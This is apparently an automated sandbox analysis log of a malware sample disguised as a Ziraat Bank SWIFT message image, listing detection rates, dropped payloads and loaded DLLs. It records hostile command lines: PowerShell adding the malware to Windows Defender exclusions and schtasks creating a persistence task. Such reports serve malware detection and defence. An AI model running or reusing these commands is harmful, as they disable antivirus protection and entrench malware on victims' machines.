              Source: Native_New-Nova.exe, 00000009.00000002.2956686994.000000000273A000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000002.2956686994.000000000272B000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000002.2956686994.000000000271C000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2954971703.0000000002579000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2954971703.0000000002588000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2954971703.000000000256A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
              Source: Ziraat_Bankasi_Swift_Messaji.png.exeVirustotal: Detection: 70%
              Source: Ziraat_Bankasi_Swift_Messaji.png.exeReversingLabs: Detection: 63%
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeFile read: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeEvasive API call chain: __getmainargs,DecisionNodes,exitgraph_8-217
              Source: unknownProcess created: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe"
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe"
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe"
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BZTCUCKTKd" /XML "C:\Users\user\AppData\Local\Temp\tmp9D7B.tmp"
              Source: C:\Windows\SysWOW64\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe"
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exe "C:\Users\user\AppData\Local\Temp\Native_New-Nova.exe"
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Users\user\AppData\Local\Temp\Native_snake01.exe "C:\Users\user\AppData\Local\Temp\Native_snake01.exe"
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
              Source: unknownProcess created: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BZTCUCKTKd" /XML "C:\Users\user\AppData\Local\Temp\tmpAE63.tmp"
              Source: C:\Windows\SysWOW64\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess created: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe "C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe"
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess created: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exe "C:\Users\user\AppData\Local\Temp\Native_New-Nova.exe"
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess created: C:\Users\user\AppData\Local\Temp\Native_snake01.exe "C:\Users\user\AppData\Local\Temp\Native_snake01.exe"
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe"Jump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe"Jump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BZTCUCKTKd" /XML "C:\Users\user\AppData\Local\Temp\tmp9D7B.tmp"Jump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe "C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe"Jump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exe "C:\Users\user\AppData\Local\Temp\Native_New-Nova.exe" Jump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess created: C:\Users\user\AppData\Local\Temp\Native_snake01.exe "C:\Users\user\AppData\Local\Temp\Native_snake01.exe" Jump to behavior
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BZTCUCKTKd" /XML "C:\Users\user\AppData\Local\Temp\tmpAE63.tmp"
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess created: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe "C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe"
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess created: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exe "C:\Users\user\AppData\Local\Temp\Native_New-Nova.exe"
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess created: C:\Users\user\AppData\Local\Temp\Native_snake01.exe "C:\Users\user\AppData\Local\Temp\Native_snake01.exe"
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: version.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: dwrite.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: windowscodecs.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: textshaping.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: edputil.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: windows.staterepositoryps.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: appresolver.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: bcp47langs.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: slc.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: sppc.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: onecorecommonproxystub.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: ntmarta.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: taskschd.dllJump to behavior
              Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: edputil.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: windows.staterepositoryps.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: appresolver.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: bcp47langs.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: slc.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: sppc.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: onecorecommonproxystub.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: version.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: rasapi32.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: rasman.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: rtutils.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: mswsock.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: winhttp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: winnsi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: fwpuclnt.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: schannel.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: mskeyprotect.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: ntasn1.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: ncrypt.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: ncryptsslp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeSection loaded: dpapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: apphelp.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: kernel.appcore.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: uxtheme.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: mscoree.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: wldp.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: amsi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: userenv.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: profapi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: version.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: msasn1.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: gpapi.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: cryptsp.dll
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeSection loaded: rsaenh.dll
